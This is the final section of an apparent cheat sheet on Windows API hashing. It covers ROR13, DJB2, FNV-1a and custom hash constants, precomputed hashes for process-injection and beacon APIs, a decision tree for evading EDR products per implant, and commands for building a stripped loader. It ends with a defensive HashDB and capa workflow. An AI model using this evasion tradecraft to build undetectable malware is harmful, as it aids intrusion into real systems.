| Custom Additive | Fast | Variable | ~15 lines | APT custom tools | NO | High |
| Custom + XOR | Fast | Variable | ~20 lines | Advanced custom loaders | NO | Very High |
| ROR13 + XOR key | Very Fast | Low | ~15 lines | Modified CS / custom | NO | Very High |
| FNV-1a + XOR key | Very Fast | Very Low | ~10 lines | QakBot variant | NO | Very High |
Legend: Known Hashes Public = the hash values for common Windows APIs are published in HashDB or public research.
18. Cheat Sheet
Quick Hash Selection Decision Tree
Need to implement API hashing?
│
├─ CTF / Learning / PoC?
│ └─ ROR13 — simple, well-documented, trivial to implement
│ Hashes for common APIs already computed (§5.2)
│
├─ Red team engagement — basic EDR (Defender only)?
│ └─ DJB2 or FNV-1a
│ Avoid ROR13 (YARA rules everywhere)
│ Add XOR key for your build
│
├─ Red team engagement — mature EDR (CS, SentinelOne)?
│ └─ Custom hash algorithm (§9) + XOR obfuscation (§13.1)
│ Regenerate XOR key per implant
│ No hash constants match any public database
│
├─ Shellcode (PIC, no imports, must be tiny)?
│ └─ ROR13 (x64 asm, ~20 bytes) — smallest PEB-walk resolver
│ Or FNV-1a (slightly larger but better collision resistance)
│
├─ Direct syscalls (Hell's Gate / Halo's Gate style)?
│ └─ DJB2 to find Nt* functions in ntdll
│ Then extract syscall numbers from function stubs
│ (SloppyRAT pattern — §14.3)
│
└─ Need to hide from HashDB reverse-lookup?
└─ Custom algorithm with random seed/multiplier (§9.1)
Never share your hash function parameters
Hash Constants — Quick Reference
Algorithm Seed/Init Key Constant Notes
──────────────────────────────────────────────────────────────
ROR13 hash = 0 ROR right 13 Cobalt Strike/Metasploit
DJB2 hash = 5381 mult 33 (<<5+h) GuLoader, SloppyRAT
FNV-1a 32-bit 0x811C9DC5 * 0x01000193 TrickBot, QakBot, CS NT
CRC32 0xFFFFFFFF poly 0xEDB88320 Various, HW available
Pre-computed ROR13 Hashes — Common APIs
API ROR13 Hash Notes
───────────────────────────────────────────────────────────────────
LoadLibraryA 0x0726774C CS/MSF signature hash
GetProcAddress 0xEC0E4E8E CS/MSF signature hash
VirtualAlloc 0x91AFCA54 Memory allocation
VirtualProtect 0x7946C61B Memory protection
VirtualFree 0x0CBA2521 Cleanup
CreateThread 0xC7D05CA5 Thread execution
CreateRemoteThread 0x72BD9CDD Remote injection
WriteProcessMemory 0xD83D6AA1 Process injection
ReadProcessMemory 0x9DAE8AB6 Process reading
OpenProcess 0xDA94D131 Process handle
CloseHandle 0x528796C6 Cleanup
WinExec 0x876F8B31 Process spawn (simple)
ExitProcess 0x56A2B5F0 Exit
NtFlushInstructionCache 0x534C0AB8 Required after shellcode write
NtAllocateVirtualMemory 0xF783B8EC Syscall allocation
InternetOpenA 0xA779563A HTTPS beacon init
InternetConnectA 0xC69F8957 HTTPS connect
WSAStartup 0x006B8029 TCP beacon init
WSASocketA 0xE0DF0FEA Socket creation
One-Liners — Hash Pre-computation
# Python — ROR13 hash of a single API name
python3 -c "
s='VirtualAlloc'; h=0
for c in s: h=((h>>13)|(h<<19))&0xFFFFFFFF; h=(h+ord(c))&0xFFFFFFFF
print(hex(h))
"
# Python — DJB2 hash
python3 -c "h=5381; [h:=((h<<5)+h+ord(c))&0xFFFFFFFF for c in 'CreateThread']; print(hex(h))"
# Python — FNV-1a hash
python3 -c "h=0x811C9DC5; [h:=((h^ord(c))*0x01000193)&0xFFFFFFFF for c in 'LoadLibraryA']; print(hex(h))"
# Python — CRC32 hash
python3 -c "import binascii; print(hex(binascii.crc32(b'VirtualAlloc')&0xFFFFFFFF))"
# Bash — check if PE has suspicious minimal imports (indicator of API hashing):
python3 -c "
import pefile
pe = pefile.PE('suspicious.exe')
imports = [d.dll.decode() for d in pe.DIRECTORY_ENTRY_IMPORT]
print(f'Imports: {len(imports)} DLLs: {imports}')
"
Compilation Commands
# Compile API hashing loader (MinGW, Linux cross-compile):
x86_64-w64-mingw32-gcc api_loader.c -o loader.exe \
-O2 -masm=intel -fno-ident \
-Wl,--strip-all
# Compile without any C runtime (truly minimal imports):
x86_64-w64-mingw32-gcc api_loader.c -o loader.exe \
-O2 -nostdlib -e main \
-Wl,--strip-all,-e,main
# Inspect IAT before/after:
dumpbin /imports loader.exe # Windows MSVC tools
objdump -x loader.exe | grep -A5 "IMPORT" # MinGW/Linux
x86_64-w64-mingw32-objdump -x loader.exe | grep DLL # cross-compiled
# Verify no sensitive strings remain:
strings loader.exe | grep -iE "VirtualAlloc|CreateThread|WriteProcess"
# Expected result: (empty — no API names visible)
# Compare IAT before API hashing:
strings normal_loader.exe | grep -iE "kernel32|ntdll"
strings hashed_loader.exe | grep -iE "kernel32|ntdll"
# hashed version: minimal or no output
Blue Team: Hash Lookup Workflow
# Extract hash constants from shellcode (using Python + binascii):
python3 -c "
import struct
with open('suspicious_shellcode.bin', 'rb') as f:
data = f.read()
# Find all 4-byte aligned DWORD values (potential hash constants)
for i in range(0, len(data)-4, 4):
val = struct.unpack_from('<I', data, i)[0]
if 0x01000000 <= val <= 0xFFFFFFFF: # filter small values
print(f'0x{i:04X}: 0x{val:08X}')
"
# Query HashDB for each candidate hash:
curl "https://hashdb.openanalysis.net/hash/ror13/0x0726774C"
curl "https://hashdb.openanalysis.net/hash/djb2/0x9B7BFBC3"
curl "https://hashdb.openanalysis.net/hash/fnv1a/0x4ACC9B65"
# Use capa for automated API hash detection:
capa suspicious.exe
# Output will show: "resolve API via hash" + "enumerate exported functions"
# IDA Pro HashDB plugin workflow:
# 1. Right-click hex constant → HashDB Lookup
# 2. Select algorithm (ror13, djb2, fnv1a)
# 3. Import all hashes from identified module
# 4. Re-decompile → human-readable API names
References & Tools
Hash Lookup Services:
- HashDB (OALabs) — https://hashdb.openanalysis.net (API hash reverse-lookup service)
- HashDB GitHub — https://github.com/OALabs/hashdb (algorithms database, open source)
IDA/Ghidra/BN Plugins:
- HashDB IDA Plugin — https://github.com/OALabs/hashdb-ida
- HashDB Ghidra Plugin — https://github.com/OALabs/hashdb-ghidra
- HashDB Binary Ninja — https://github.com/OALabs/hashdb-bn
- BlobRunner — https://github.com/OALabs/BlobRunner (debug raw shellcode)
C++ API Hashing Libraries:
- LloydLabs/Windows-API-Hashing — https://github.com/LloydLabs/Windows-API-Hashing
- Sh0ckFR/API-Hashing — https://github.com/Sh0ckFR/API-Hashing (IAT evasion example)
Detection & Analysis:
- capa (FLARE team) — https://github.com/mandiant/capa (automated capability detection)
- PE-bear — https://github.com/hasherezade/pe-bear (PE inspection)
Further Reading:
- ired.team — Windows API Hashing in Malware (practical C implementation)
- Huntress Blog — "Hackers No Hashing" (ROR13 randomization research)
- CrowdStrike Blog — GuLoader DJB2 dissection
- Zscaler Blog — SloppyRAT DJB2 + Hell's Gate pattern
- OALabs Research — API hashing algorithm database